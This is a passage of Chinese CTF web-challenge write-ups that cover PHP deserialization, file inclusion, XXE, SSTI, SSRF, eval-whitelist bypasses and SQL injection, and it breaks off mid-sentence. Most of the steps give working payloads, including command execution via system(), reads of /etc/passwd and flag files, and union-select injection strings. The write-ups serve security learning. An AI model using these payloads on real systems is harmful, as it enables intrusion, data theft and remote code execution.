a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

6、正则没有过滤dir,使用dir查看文件,根目录下有个flag

cmd=dir /

image-20210816211433273

7、payloadca\t /flag,在cat中加个\,在linux相当于换行

image-20210816211523418

[网鼎杯 2020 朱雀组]phpweb

1、访问页面,查看请求是post

image-20210816221238132

2、使用bp抓包

func=date&p=Y-m-d+h%3Ai%3As+a

image-20210816222347487

3、查看date

image-20210816222556604

4、猜测这里是回调函数,提示hacker

func=system&p=ls

image-20210816222735804

5、尝试很多命令执行函数都失败,使用高亮函数,查看代码

image-20210816223140701

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

6、发现正则过滤了很多函数

 $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

7、没禁用serialize

<?php


class Test {
        var $p = 'ls';
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    
 $a = new Test();
 echo serialize($a);
 
 ?>
 

image-20210816224006164

8、找不到flag在哪里,find / -name flag*,这里使用bp进行改包,hackbar发送post请求总有问题

image-20210816224344498

9、查看flag

O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

image-20210816224436853

[BSidesCF 2020]Had a bad day

1、访问界面,有两个链接?category=

image-20210816224622703

2、试试有没有文件包含,查询/etc/passwd失败,使用php伪协议试试。提示会在index.php后面添加.php

category=php://filter/convert.base64-encode/resource=index.php

image-20210816225425903

3、获得源码

?category=php://filter/convert.base64-encode/resource=index
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
			</div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>

4、代码审计

两个if判断,第一个if判断是否为空值,第二个if判断woofers``meowers``index是否存在,包含文件会在后面添加后缀.php

       <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

5、php伪协议可以在里面添加一层协议

?category=php://filter/convert.base64-encode/woofers/resource=flag

image-20210816230440885

6、解码得到flag

image-20210816230509828

[NCTF2019]Fake XML cookbook

1、访问界面

image-20210817091531805

2、使用bp进行抓包,发现是xml格式

image-20210817091655413

3、修改username的值,发现回报的值也发生改变,判断存在xxe漏洞

image-20210817091752591

4、构造payload,成功查看到passwd文件

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

image-20210817091939108

5、查找flag

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>

image-20210817092055222

[ASIS 2019]Unicorn shop

1、访问界面,是个商场购物。判断是要购买最贵的独角兽,就能得到flag

image-20210817092202297

2、购买商品四的时候,提示Only one char(?) allowed!

image-20210817094219311

3、把价钱改成一个字符,会提示You don't have enough money!

4、根据题目提示unicode,找到https://www.compart.com/en/unicode/search?q=thousand#characters,在里面选择一个大于1337的数字

image-20210817095805828

5、选择高于1337的,将url编码0xE2 0X86 0X82 中的0x改为%

image-20210817101044101

6、得到flag

image-20210817101116573

[BJDCTF2020]Cookie is so stable

1、访问界面,有两个链接flag.phphint.php

image-20210817101840771

2、在flag.php存在个输入框,输入什么返回什么

image-20210817102053741

3、测试{{1*2}},返回2,存在模板注入,并且是传入到cookie中

image-20210817102538458

[De1CTF 2019]SSRF Me

1、访问界面

image-20210817104820940

2、把代码排序

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

3、题目使用flask框架

Exec函数中定义了writeread,把scan(self.param)写入到result.txt中,我们有了思路,如果把flag.txt写入到result.txt中,我们看下可不可行

 def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

首先定位到if (self.checkSign()),Exec第一个if条件需要为true,才能继续下去,其中有个getSign(self.action, self.param) == self.sign,需要这两个值相等

def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

再往getSign定位,这里会把secert_key + param + action的值进行md5加密,hexdigest的意思返回十六进制字符串

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

继续往下看,这里定义了个路由geneSignparam的值是可控的,action的值固定为scan,访问会返回一串加密的值,这里知道getSign()进行了什么操作

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param) 

image-20210817150649483

继续审计,这里也定义了个路由De1ta,里面定义了actionsign这两个值是cookie传参,param进行get传参

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

其中存在waf判断param的值,追踪waf函数,先进行小写转换,再禁用了gopher协议与file协议

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

了解了waf函数,返回challenge,会把我们传入的值都放到Exec函数中

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

4、了解代码后,构建下我们构建思路,要成功写入读取文件,首先先要满足checkSign,传入actionparam的加密后的值,要与传入的sign相等,Exec下面的两个if判断是in而不是==,所以我们可以把scanwrite同时传入action,param的值为我们要读取的文件flag.txt

if "scan" in self.action:
if "read" in self.action:

5、初步构造,已知了actionparam值,求sign的值,利用/geneSign路由,action默认为scan,那paramflag.txtread

action=readscan
param=flag.txt

6、得到sign

image-20210817153542455

7、成功得到flag

get传参:param=flag.txt
cookie传参:action=readscan;sign=77b7b74b0592268c6433e2edf2a08f3e

image-20210817153713482

[安洵杯 2019]easy_serialize_php

1、访问界面,点击source_code,查看源码

image-20210817201625110

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

2、审计代码

传入参数f,如果等于phpinfo,执行eval,等于show_image,执行unserialize,初步了解,需要进行反序列化,在读取img

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

3、先访问phpinfo,在其中发现一个路径 d0g3_f1ag.php,访问页面,页面存在但看不到内容

image-20210817202823510

4、返回代码

这里发现存在,变量覆盖,unset释放原有的变量,extract将POST的值传入到$_SESSION

if($_SESSION){
    unset($_SESSION); //unset — 释放给定的变量
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);//extract — 从数组中将变量导入到当前的符号表

image-20210817204147824

if判断img_path,else比较麻烦,就不选择了

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$_SESSION进行序列化后,会进行filter黑名单过滤

$serialize_info = filter(serialize($_SESSION));
#filter
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

5、在开始构造paylaod前,先了解下序列化,序列化以;}为结尾,}后面的格式就会被当成垃圾数据丢弃

image-20210817212345429

6、所以我们构造思路,在$_SESSION中传入img值把原有的值给挤出去,当垃圾文件丢掉,我们构造个payload,发现需要逃逸出40个字符;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

<?php

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


$_SESSION["user"] = 'guest';
$_SESSION['img'] = base64_encode('guest_img.png');

echo filter(serialize($_SESSION));

//;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

image-20210817214612542

7、把$_session传入空值,s:0:"";s:0:"";,如果我们把";s:0:"当作变量的名称,在设定一个假的变量的值,就能把序列化的语法搞正确,并且把之前的值,挤到}以外

image-20210817215433929

8、";s:0:"存在7个字符长度,我们如何逃逸出7个字符呢,这里就用到filter,其中会把黑名单字符串替换为空,我们就可以构造长度为7的字符,由黑名单替换为空,我们可以看到s:7:"";s:0:"";满足格式

$_SESSION["phpflag"] = '';

image-20210817220206760

9、构造payload

<?php

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}



$_SESSION["phpflag"] = ';s:1:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');

echo filter(serialize($_SESSION));

image-20210817221158266

image-20210817222134181

10、提示flag in /d0g3_fllllllag

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

image-20210817222731917

[CISCN 2019 初赛]Love Math

1、访问界面

image-20210818092058257

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

2、审计代码

长度限制

if (strlen($content) >= 80) {
        die("太长了不会算");
    }

黑名单限制

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }

白名单

$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }

eval执行

eval('echo '.$content.';');

3、没思路,参考大佬们的博客

动态函数
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
例如:$function = "sayHello";$function();

php中函数名默认为字符串
例如本题白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择

思路一

Payload1

`pi=baseconvert(37907361743,10,36)(dechex(1598506324));(pi=base_convert(37907361743,10,36)(dechex(1598506324));(pi)pi((pi){pi}(($pi){abs})&pi=system&abs=tac%20/flag
分析:

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}(($_GET){abs})  //{}可以代替[]

Payload2

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
分析:

base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy

img

image-20210818101223908

[WUSTCTF2020]朴实无华

1、访问界面

image-20210818102319474

2、扫描目录发现robots.txt

image-20210818173002447

3、访问/fAke_f1agggg.php,显示flag值,还以为一下子就得到flag
4、查看浏览器网络,看到请求头里有个/fl4g.php路径

image-202108181732349275、访问/fl4g.php

image-20210818173417560

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

5、审计代码

level 1,通过1e10绕过

if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

image-20210818174320192
level 2,传入值要与md5值要相等,PHP会把每一个以”0E”开头的哈希值都解释为0

if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

使用脚本进行爆破,爆破出结果0e215962017


import hashlib

for i in range(0,10**41):
    i='0e'+str(i)
    md5=hashlib.md5(i.encode()).hexdigest()
    if md5[:2]=='0e' and md5[2:].isdigit():
        print('md5:{} '.format(i))
        break

level 3,只是替换cat并且不能有空格,可以用tac查看,${IFS}$1绕过空格

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

6、最终payload

?num=2e10&md5=0e215962017&get_flag=tac${IFS}$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[WesternCTF2018]shrine

1、访问界面,是python flask

image-20210823161249645

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

2、审计代码之前了解下SSTI魔术方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

3、审计代码

判断flagconfig

app.config['FLAG'] = os.environ.pop('FLAG')

过滤了() config self

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

4、还可以通过python内置函数利用

url_for

shrine/{{url_for.__globals__['current_app'].config}}

get_flashed_messages

shrine/{{get_flashed_messages.__globals__['current_app'].config}}

[SUCTF 2019]Pythonginx

1、访问界面,右键查看源码

image-20210824111156113

 @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

2、了解下代码里的url分解

from urllib import parse


url = 'http://www.example.com/a?b&c=1#2'
host = parse.urlparse(url).hostname
print('解分后:',parse.urlparse(url))
print('host为:',host)

parts = list(parse.urlparse(url))
print('在分割:',parts)
host = parts[1]
print('取值:',host)

image-20210824133508367

3、涉及到idna

image-20210824133948632

newhost.append(h.encode('idna').decode('utf-8'))

4、了解url分解跟idna后,题目中涉及到3个if判断,绕过前两个满足第三个,摘自大佬的exp

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass
 
def getUrl(url):
    url=url
    host=parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts=list(urlsplit(url))
    host=parts[1]
    if host == 'suctf.cc':
        return False
    newhost=[]
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1]='.'.join(newhost)
    finalUrl=urlunsplit(parts).split(' ')[0]
    host=parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False
 
 
if __name__=='__main__':
    get_unicode()

image-20210824134414438

5、构造payload

getUrl?url=file://suctf.cℂ/etc/passwd

image-20210824134919236

6、找了半天没找到flag,百度得到应该查询nginx配置文件,得到flag在/usr/fffffflag

?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf

payload

?url=file://suctf.cℂ/usr/fffffflag

[SWPU2019]Web1

1、访问界面,是个登陆框

image-20210824140440441

2、注册账户,并登陆

image-20210824140545070

3、见框插入个xss,可以弹窗,但没法得到flag

4、在申请广告时,广告名处添加一个单引号,会提示数据库报错,存在二次注入

image-20210824141301894

5、接下来使用order by查询,但会提示有敏感字符,order过滤,并且传入值会把空格删除掉,使用/**/绕过空格,注释符也被过滤,使用' 注释

-1'/**/union/**/select/**/1,2,3/**/'

image-20210824142034627

6、一个一个猜测长度,测试到23

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18.19,20,21,22,23/**/'

image-20210824142639293

7、查看userversion

-1'/**/union/**/select/**/1,user(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18.19,20,21,22,23/**/'

image-20210824163340756

8、查询数据库的时候,发现information_schema被禁用,使用innodb_tabl_stats

表引擎为innodb
MySQL > 5.5
innodb_table_stats
innodb_table_index
存放所有库名表名
select table_name from mysql.innodb_table_stats where database_name=库名;
-1'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18.19,20,21,22,23/**/'

9、在information_schema禁用情况下,已知表名,求列名,可以使用无列名注入

-1'/**/union/**/select/**/1,2,(select/**/b/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users/**/limit/**/1,1)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18.19,20,21,22,23/**/'

image-20210824172840822

10、查询flag

-1'/**/union/**/select/**/1,2,(select/**/b/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users/**/limit/**/1,1)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18.19,20,21,22,23/**/'

image-20210824173428450

[网鼎杯 2020 朱雀组]Nmap

1、访问界面,nmap扫描

image-20210824175023142

2、又是考escapeshellcmdescapeshellarg

escapeshellarg

